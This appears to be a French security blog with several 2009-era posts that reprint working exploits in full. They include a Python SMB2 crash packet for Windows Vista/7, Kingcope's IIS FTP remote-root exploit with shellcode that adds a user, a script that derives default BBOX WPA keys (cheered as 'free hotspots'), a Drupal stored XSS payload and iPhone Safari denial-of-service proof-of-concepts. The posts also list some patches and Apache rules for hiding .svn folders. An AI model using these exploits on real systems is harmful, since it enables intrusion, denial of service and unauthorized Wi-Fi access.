cloud's Blog

Comme je vous avez prévenu il y a quelques jours, la potentialité de l'apparition d'un vers exploitant la vulnérabilité SMB v2 était élevée.

En 1er lieu, Immunity a annoncé avoir développé l'exploit permettant une remote execution et intégré à son logiciel de pentest CANVAS et voici que Metasploit vient également de l'ajouter avec un code donc bien sur libre :) Le code est disponible ici.

Mettons à jour notre framework Metasploit :

(20:31:12 cloud ~/prog/framework-trunk) 0 $ svn update
A    modules/exploits/windows/smb/smb2_negotiate_func_index.rb
 

On pourrait alors se demander quelle est la plus value d'utiliser un logiciel aussi cher que Immunity CANVAS. En gros elle est de 3-4 jours. Force est de constater qu'une vulnérabilité publiée même dans un logiciel fermé, intéresse énormèment et se retrouve donc très vite publiée. Est ce par un Reverse Engineering ou par une recherche ? Je n'en sais rien mais le résultat est là. En tout cas un remote execution sur du SMB qui peut engendré un Worm c'est une belle aubaine pour les pirates en herbe.

C'est pour cela que l'on retrouve très vite après cette publication des demandes de code afin de créer un Vers. On peut voir un exemple d'offre ici.

Il est donc urgent de patcher votre parc de machines sous peine de lourdes conséquences :) . Pour rappel, Microsoft a fourni un patch afin de désactiver SMB v2.

Une vulnérabilité touchant plus de 3300 sites selon une équipe de chercheurs russes a été dévoilée ici

En gros, ils ont constaté que des sites majeurs, utilisant donc un vrai système de gestion de version comme Subversion, mettaient en fait à disposition leur code source. Apache présente par exemple http://www.apache.org/.svn/ . Certes dans cet exemple ce n'est pas grave (je ne vais pas vous publier un site vulnérable avec pleins de mots de passe quand meme) mais pour d'autres sites, on se retrouve avec le code source du site, les identifiants de connexions aux bases de données ou encore des dump.

Tout d'abord en recherchant sur le net on trouve des articles expliquant cela en 2006 comme ici. Donc c'est tout sauf quelque chose de nouveau.

Ensuite, il s'avère que c'est bien une erreur de configuration d'administrateurs ayant choisis d'utiliser SVN pour publier leur site web mais sans empéchant la lecture du répertoire svn.

Cependant il s'avère qu'en scannant des sites en masse, ils ont obtenu 3312 sites vulnérables pour 2253388 domaines scannés. De plus en général, c'est des sites intéressants. Cette erreur est donc à vérifier lors des pentest. De plus, cette erreur de configuration doit se retrouver avec d'autres gestionnaires de version comme CVS ou GIT.

En contre mesure, il est donc nécessaire de protéger son répertoire SVN par une règle du genre dans Apache :

<Directory ~ ".*\.svn">
Order allow,deny
Deny from all
Satisfy All
</Directory> 

Pour information, j'ai également testé sur les remarques de croket la directives FilesMatch déjà utilisée pour protéger les fichiers du style .ht en l'élargissant comme ceci :

<FilesMatch "^\.">
    Order allow,deny
    Deny from all
    Satisfy All
</FilesMatch>

Et bien cela ne protège en rien car les répertoires ne sont pas traités par la directive FilesMatch :)
Par contre la directive suivante (croket(c))fonctionne :

RedirectMatch 403 /\..*

Heureusement que edcba est la pour nous ressortir les vieux dossiers de 2006 :)

La sécurité Wifi est constament remise en cause. Dernier évènement en date, la possibilité de déterminer la clé WPA par défaut des BBOX, le superbe routeur de Bouygues. En effet ces routeurs sont fabriqués par Thomson qui a déjà eu quelques problèmes remontés avec la génération de ses clé WPA (voir ici).

En effet l'algo avait été trouvé par un certain Christophe Devine qui a pour l'occasion développé un petit logiciel comme PoC.

Ici c'est un certain M1ck3y, administrateur du forum crack-wpa.fr, qui a modifié un peu l'algo de Kevin pour les BBOX. En gros de ce que j'en ai vite lu et en regardant les sources, il a modifié le hashage MD5 par du SHA1. Bref fallait y penser et ca valait le coup de tester. Du coup un PoC a été publié ainsi que des variantes en python comme celui ci :

#!/usr/bin/python
# -*- coding: mac_roman -*-

import sha
from datetime import date
from optparse import OptionParser


parser = OptionParser()
parser.add_option("-i", "--ssid", dest="ssid",
                  help="SSID of the box", default='')

(options, args) = parser.parse_args()
ssid = options.ssid
if ssid == '':
  print "No key provided. Launch with -h for help."
else:
  print "Searching keys for SSID %s" % ssid
  hexaend = ssid[-6:].lower()
  
  hexvalues = []
  for i in xrange(ord('A'), ord('Z')+1):
    hexvalues.append(hex(i)[-2:].upper())
  for i in xrange(ord('0'), ord('9')+1):
    hexvalues.append(hex(i)[-2:].upper())
  
  candidates = []
  for y in xrange(2008, date.today().year+1):
    print "Year %d..." % y
    for w in xrange(101, 152):
      snb = 'CP'+str(y)[-2:]+str(w)[-2:]
      for X in hexvalues:
        snb2 = snb+X
        for Y in hexvalues:
         snb3 = snb2+Y
         for Z in hexvalues:
           sn_sha = sha.sha(snb3+Z).hexdigest()
           if sn_sha[-6:] == hexaend:
             candidates.append(sn_sha[:10].upper())
  
  if len(candidates) == 0:
    print "No keys found."
  else:
    print "Candidates:"
    for key in candidates:
      print '  '+key

Du coup pleins de nouveaux hotspot gratuits ! :D .

Bon c'est pas nouveau, mais le wifi est l'ennemi juré de la sécurité et on en a ici encore une preuve, quelque soit l'algo de chiffrement utilisé. A voir maintenant comment Bouygues va régler ca. Pourra t'on se retourner contre Mr Bouygues si on reçoit un mail Hadopi ? :). Cela serait normal à mon sens .

Des correctifs :
-modifier la clé WPA par défaut de votre BBOX
-changer de fournisseur d'accès


Un peu de pub pour le forum www.crack-wpa.fr qui met bien en valeur les faiblesses du wifi et rend accessible les exploitations à tout le monde.

Le lien vers les explications de M1ck3y : http://www.crack-wpa.fr/forum/viewtopic.php?id=1360

Un exploit a récement été publié exploitant une vulnérabilité de SMB V2, impactant les Windows Vista et 2008 Servers et débouchant à un BOSD en remote. Certes le risque est déjà important car peut provoquer un DoS à distance.

Cependant certains se sont penchés sur l'exploit persuadé qu'il était possible de l'exploiter mieux que ca et d'exécuter une commande à distance, chose qui a apparement été réussie selon Securityfocus. L'exploit est présent dans le logiciel Immunity CANVAS qui est un logiciel propriétaire et cher :). Cependant l'exploit ne devrait pas rester secret bien longtemps.

Conséquences : le risque de vers est très élevé. On se rappelle de Conficker, toujours actif et bien voici une nouvelle possibilité de propagation de vers mais cette fois pour les Windows Vista et Windows 2008 Server.

Pour rappel aucun patch n'a encore été publié pour l'instant donc si possible, désactivez le service SMB.

Une XSS persistante est présente sur les Drupal de version < 6.12 . Celle ci nécessite des permissions particulieres (sans forcement etre administrateur) donc est de risque faible mais peut etre utilisée pour répandre un vers via XSS ou pour récupérer un vrai compte Administrateur.

Pour l'exploiter :
-Authentifiez vous puis allez dans :
>Administer
>>Site information


Dans le champs Slogan entrez :

</title><body><script>alert('XSS')</script>

Correctif : passez en version 6.13

C'est ma journée bidouillage d'iphone :)

Donc je continue sur la lancée avec un DoS Safari qui marche sur mon iphone 3G v3.0.1. Cette fois ci on s'attaque à la balise tel:

Le principe est simple, il consiste à faire exécuter un numéro de téléphone très long et qui semble crasher l'iphone lorsque celui ci tente d'afficher la popup d'appel du numéro.

Voici le code du PoC :

<?php
$var = "";
for ($i=0; $i<100000; $i++){
        $var = $var . "A";
}
echo '<iframe src="tel:' . $var .'"></iframe>';
?>

Le PoC est testable ici : http://www.madpowah.org/crash_safari.php

Injecté via une XSS permanente, ce code peut empécher l'accès aux iphone.

Apple a été contacté. Aucune réponse pour l'instant.

Mise a jour : mon exploit a été publié sur Milw0rm.

Aujourd'hui j'ai eu envi de jouer un peu avec mon iphone (3G 3.0.1) et avec les balises provoquant une réaction comme tel: et sms: La balise que j'ai choisie est url: mais cela aurait pu etre n'importe quoi comme sex:

Je n'avais pas connaissance de ce comportement mais connaissant tel: et sms:, je me suis dit que d'autre balises devait exister ou provoquer une réaction. Et bien Bingo :) Comme on s'en doute, il est possible de générer une attaque de type XSRF en l'insérant dans une iframe et ainsi de déclencher automatiquement l'ouverture d'une page comme ceci :

<iframe src="url:0000"></iframe>

On tombe directement sur une popup nous indiquant que notre url ne peut s'ouvrir, normal.

J'ai voulu ensuite tester la réaction si on insère 2 balises.

Tout d'abord avec tel:

<iframe src="tel:0000"></iframe>
<iframe src="tel:1111"></iframe>

L'iphone nous propose d'appeler d'abord le 0000 puis immédiatement, sans intéraction de notre part, le 1111. L'appuie sur "Annuler" enlève la popup et nous rend la main.

Testons maintenant avec sms:

<iframe src="sms:0000"></iframe>
<iframe src="sms:1111"></iframe>

L'iphone ouvre l'application SMS avec le numéro 0000 composé, rien de plus. On ferme l'appli et on a de nouveau la main.

Testons enfin avec url:

<iframe src="url:0000"></iframe>
<iframe src="url:1111"></iframe>

L'iphone nous ouvre une popup nous indiquant que notre url en peut s'ouvrir. On appuie sur OK et la il nous redit que notre URL est inaccessible.

Très embetant donc si on insère ca dans une boucle :). On se retrouve obliger de quitter l'application ou alors contraint a cliquer Ok le nombre de fois nécessaire.

Maintenant recommencons en exécutant le meme script mais en agissant différement :

<iframe src="url:0000"></iframe>
<iframe src="url:1111"></iframe>

L'iphone nous ouvre une popup nous indiquant que notre url en peut s'ouvrir. On quitte l'application et on la réouvre. Et la immédiatement, le navigateur nous réaffiche la popup nous indiquant que notre url ne peut s'ouvrir.

Dans une grande boucle, cela signifie que ce code rend Safari inaccessible. Le seul moyen de récupérer son application est un reboot de l'iphone contrairement a un simple alert() qui peut se récupérer, ce qui est plutot génant à mon avis.

Voici un PoC à ouvrir depuis un iphone :

<script>
for (i=0; i<1000; i++){
	document.write('<iframe src="url:000000"></iframe>');
	}
</script>

Vous pouvez le tester ici : http://www.madpowah.org/iphone.html

Pour refaire marcher Safari, rebooter votre iphone, réouvrez Safari et cliquez vite sur la barre d'adresse ou sur Google.

Correctif : Désactivez les Javascript depuis la configuration Safari.

Vu la recrudescence des sites "mobiles", on peut imaginer la gène en insérant une XSS statique dans un de ces sites :)

Apple est prévenu de ce comportement qui peut etre génant. Pas de réponse pour l'instant de leur part.

La gène est valable pour Firefox sauf que l'on peut killer son navigateur, comme un mauvais alert() quoi :)

Le pentest au stade personnel se fait plutot à la root (c'est le cas de le dire :) ).

Cependant, pour du pentest en milieu professionnel, il est nécessaire d'etre rigoureux et organisé. Le but n'est pas seulement de trouver des vulnérabilités mais de présenter tout ce qui a été testé, de le tracer pour montrer ce qui ne va pas mais également ce qui semble sécure. De plus on se retrouve souvent à travailler à plusieurs sur le meme audit et il ne faut donc pas refaire ce que fait un autre.

C'est pour cela qu'il est utile d'avoir un bon framework et par chance il existe Dradis ! :]

Dradis est un framework permettant de partager des informations et qui de plus est orienté pentest. Une chance pour nous ! Celui ci est développé en Ruby et en ait à la version 2.3. Il tourne sous Windows / Linux / Mac OS et perso je l'ai testé sous FreeBSD et il poutre :) .

Dradis utilise un principe de client / server. Le server est en Rails et on peut s'y connecter via un client console, un gui GTK ou depuis un navigateur web. Il utilise par défaut SQLite mais peut se configurer via MySQL. On peut utiliser des projets sur des serveurs distants ou sur le serveur local.

Une fois loggé, il est possible de créer des répertoires, d'y associer des notes et d'attacher des fichiers. Sa grosse force est de pouvoir y développé des plugins en plus des plugins existants. Ceux ci permettent d'extraire des informations et de les incorporer dans des templates comme on le souhaite. Il existe 3 types de plugins :
-import (depuis par exemple un Mediawiki)
-export (en fichier Word, PDF ..., une option vitale quoi :) )
-upload (upload des fichiers Nessus, Nmap, ..., puis les parse et dépose les infos dans le projet)

Une petite astuce qui m'a valu de batailler un moment : quand vous initialisez votre mot de passe, celui ci ne doit pas contenir le mot dradis car c'est la valeur qui lui dit que le passe n'est pas initialisé :)

Voici quelques liens de screenshot :
-Attachments
-Notes

Le site officiel : http://dradisframework.org

Je suis sur que parmi les gens qui visitent mon blog, il reste des nostalgiques des bons vieux Blue Screen Of the Death Windows ! Sur 95/98 on en avait tout plein par jour, limite le trip était de tuner cet écran. Voici un petit exploit paru hier pour créer un beau BSOD sur les Windows Vista / 7. Il s'appuie sur le driver srv2.sys et nécessite donc SMB d'activé (quasi toujours quoi :) ).

C'est le genre de petit exploit qui va faire des ravages en LAN.

Voici le code du PoC :

#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close() 

Pour l'instant le risque est un Déni de Service mais peut etre que l'exploit va dériver sur un controle à distance d'après l'analyse par exemple du CERT-Lexsi. La le risque serait très élevé avec la possibilité de beaux vers.

Microsoft est prévenu, aucun patch n'est encore paru.

Le blog sur la vulnérabilité.

En lisant ce blog, on apprend qu'il est possible de faire planter php de la manière suivante :

(01:06:43 cloud ~/Securite/Exploit/PHP) 0 $ cat crash.php 
<?php
include('crash.php');
?>
(01:06:58 cloud ~/Securite/Exploit/PHP) 0 $ php crash.php 
Segmentation fault: 11 (core dumped)
(01:07:08 cloud ~/Securite/Exploit/PHP) 0 $ ls
crash.php php.core

Je me suis alors posé la question de comment s'en servir pour compromettre un serveur.

A première vue, la seule conséquence est de provoquer un DoS. J'ai donc voulu observer comment réagissait le mod_php si le script était exploité depuis Apache. On obtient alors l'erreur suivante :

(00:50:47 cloud ~) 0 $ tail -n 1 /var/log/httpd-error.log 
[Fri Sep 04 00:46:23 2009] [notice] child pid 10900 exit signal Illegal instruction (4)

On constate donc que le processus enfant est tué par un SIGILL pour lequel le man signal nous indique qu'il crée une image core.

4     SIGILL       create core image    illegal instruction

Je me suis donc dit : "Pourquoi ne pas tenter de remplir l'espace disque du serveur en exécutant plusieurs fois la page et en générant des cores ?" Pour cela il faut comprendre ou se crée un core.

Quand une image core est créée, elle est par défaut créée dans le répertoire courant d'exécution comme on le voit plus haut pour le php.core . Dans mon cas, je cherche ou est créé le core d'un service qui est tué par un signal générant un core. Après plusieurs essai d'envoi de signaux SIGILL sur Apache, je n'obtiens aucun fichier core nulle part. J'ai en fait constaté après plusieurs essai> que le core d'un service se crée dans le / de la machine et qu'il ne se génère que dans le cas du kill du processus père.

Dans notre cas, comme c'est un processus fils qui est tué, le core n'est jamais créé et mon idée tombe à l'eau :)

Si quelqu'un a une idée pour exploiter par un quelconque moyen ce crash PHP, qu'il n'hésite pas à me contacter pour en discuter !

Une nouvelle vulnérabilité impactant IIS 5.0 et IIS 6.0 a été release par Kingcope hier. Cette vulnérabilité consiste à créer un répertoire puis à exploiter un buffer overflow en injectant un shellcode depuis la commande ftp SITE et en l'exécutant via NLST.

Le code tiré de Milw0rm est le suivant :

# IIS 5.0 FTPd / Remote r00t exploit 
# Win2k SP4 targets 
# bug found & exploited by Kingcope, kcope2<at>googlemail.com 
# Affects IIS6 with stack cookie protection 
# August 2009 - KEEP THIS 0DAY PRIV8 
use IO::Socket; 
$|=1; 
#metasploit shellcode, adduser "winown:nwoniw" 
$sc = "\x89\xe2\xda\xde\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" . 
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" . 
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" . 
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" . 
"\x42\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x43\x30\x43\x30" . 
"\x43\x30\x4c\x4b\x47\x35\x47\x4c\x4c\x4b\x43\x4c\x45\x55" . 
"\x42\x58\x45\x51\x4a\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b" . 
"\x51\x4f\x51\x30\x43\x31\x4a\x4b\x47\x39\x4c\x4b\x47\x44" . 
"\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c" . 
"\x4c\x44\x49\x50\x44\x34\x43\x37\x49\x51\x49\x5a\x44\x4d" . 
"\x43\x31\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44\x46\x44" . 
"\x43\x34\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x51\x34\x43\x31" . 
"\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" . 
"\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51" . 
"\x4a\x4b\x4b\x39\x51\x4c\x46\x44\x44\x44\x48\x43\x51\x4f" . 
"\x46\x51\x4c\x36\x43\x50\x50\x56\x45\x34\x4c\x4b\x50\x46" . 
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" . 
"\x4e\x4d\x4c\x4b\x42\x48\x45\x58\x4d\x59\x4a\x58\x4c\x43" . 
"\x49\x50\x43\x5a\x46\x30\x43\x58\x4c\x30\x4c\x4a\x44\x44" .
"\x51\x4f\x43\x58\x4a\x38\x4b\x4e\x4d\x5a\x44\x4e\x50\x57" . 
"\x4b\x4f\x4a\x47\x42\x43\x42\x4d\x45\x34\x46\x4e\x42\x45" . 
"\x44\x38\x43\x55\x47\x50\x46\x4f\x45\x33\x47\x50\x42\x4e" . 
"\x42\x45\x43\x44\x51\x30\x44\x35\x44\x33\x45\x35\x44\x32" . 
"\x51\x30\x43\x47\x43\x59\x42\x4e\x42\x4f\x43\x47\x42\x4e" . 
"\x51\x30\x42\x4e\x44\x37\x42\x4f\x42\x4e\x45\x39\x43\x47" . 
"\x47\x50\x46\x4f\x51\x51\x50\x44\x47\x34\x51\x30\x46\x46" . 
"\x51\x36\x51\x30\x42\x4e\x42\x45\x44\x34\x51\x30\x42\x4c" . 
"\x42\x4f\x43\x53\x45\x31\x42\x4c\x42\x47\x43\x42\x42\x4f" . 
"\x43\x45\x42\x50\x47\x50\x47\x31\x42\x44\x42\x4d\x45\x39" . 
"\x42\x4e\x42\x49\x42\x53\x43\x44\x43\x42\x45\x31\x44\x34" . 
"\x42\x4f\x43\x42\x43\x43\x47\x50\x42\x57\x45\x39\x42\x4e" . 
"\x42\x4f\x42\x57\x42\x4e\x47\x50\x46\x4f\x47\x31\x51\x54" . 
"\x51\x54\x43\x30\x41\x41"; 
#1ca 
print "IIS 5.0 FTPd / Remote r00t exploit by kcope V1.2\n"; 
if ($#ARGV ne 1) { 
print "usage: iiz5.pl <target> <your local ip>\n"; 
exit(0); 
} 
srand(time()); 
$port = int(rand(31337-1022)) + 1025; 
$locip = $ARGV[1]; 
$locip =~ s/\./,/gi; 
if (fork()) { 
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], 
                              PeerPort => '21', 
                              Proto    => 'tcp'); 
$patch = "\x7E\xF1\xFA\x7F"; 
#$retaddr = "ZZZZ"; 
$retaddr = "\x9B\xB1\xF4\x77"; # JMP ESP univ on 2 win2k platforms 
$v = "KSEXY" . $sc . "V" x (500-length($sc)-5); 
# top address of stack frame where shellcode resides, is hardcoded inside this block 
$findsc="\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38\x53" 
   ."\x45\x58\x59\x75\xF7\x40\x40\x40\x40\xFF\xFF\xE0"; 
# attack buffer 
$c = $findsc . "C" . ($patch x (76/4)) . $patch.$patch. 
   ($patch x (52/4)) .$patch."EEEE$retaddr".$patch. 
   "HHHHIIII". 
$patch."JKKK"."\xE9\x63\xFE\xFF\xFF\xFF\xFF"."NNNN"; 
$x = <$sock>; 
print $x;                             
print $sock "USER anonymous\r\n"; 
$x = <$sock>; 
print $x; 
print $sock "PASS anonymous\r\n"; 
$x = <$sock>; 
print $x; 
print $sock "MKD w00t$port\r\n"; 
$x = <$sock>; 
print $x; 
print $sock "SITE $v\r\n"; # We store shellcode in memory of process (stack) 
$x = <$sock>; 
print $x; 
print $sock "SITE $v\r\n"; 
$x = <$sock>; 
print $x; 
print $sock "SITE $v\r\n"; 
$x = <$sock>;
print $x; 
print $sock "SITE $v\r\n"; 
$x = <$sock>; 
print $x; 
print $sock "SITE $v\r\n"; 
$x = <$sock>; 
print $x; 
print $sock "CWD w00t$port\r\n"; 
$x = <$sock>; 
print $x; 
print $sock "MKD CCC". "$c\r\n"; 
$x = <$sock>; 
print $x; 
print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n"; 
$x = <$sock>; 
print $x; 
# TRIGGER 
print $sock "NLST $c*/../C*/\r\n"; 
$x = <$sock>; 
print $x; 
while (1) {} 
} else { 
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => $port, Proto => 'tcp', Listen => 1); 
die "Could not create socket: $!\n" unless $servsock; 
my $new_sock = $servsock->accept(); 
while(<$new_sock>) { 
print $_; 
} 
close($servsock); 
} 
#Cheerio, 
# 
#Kingcope

# milw0rm.com [2009-08-31]

Le résultat est un beau shell en sortie pour la version IIS 5.0 et un DoS sur la version 6.0 ayant la protection stack cookie protection d'activée. Cette protection consiste à modifier la valeur du cookie si la stack est modifiée, ce qui entraine la coupure immédiate du serveur et provoque donc un beau DoS.

Il est donc nécessaire de mettre en place des actions pour se protéger de cet exploit fortement publié afin en attendant les correctifs Microsoft comme par exemple :
-couper le serveur FTP IIS s'il n'est pas utilisé ou le remplacer temporairement par un autre serveur FTP
-empécher l'accès par compte anonymous
-restreindre les droits en lecture afin de ne pas permettre de créer un répertoire et donc d'exploiter la vulnérabilité

Il semble que kcode soit particulièrement redoutable dans la création des fuzzers pour arriver à aboutir à un tel résultat.

Pour rappel, Kingcope est à l'origine de très nombreux exploits dont par exemple la dernière vulnérabilité Webdav sur IIS.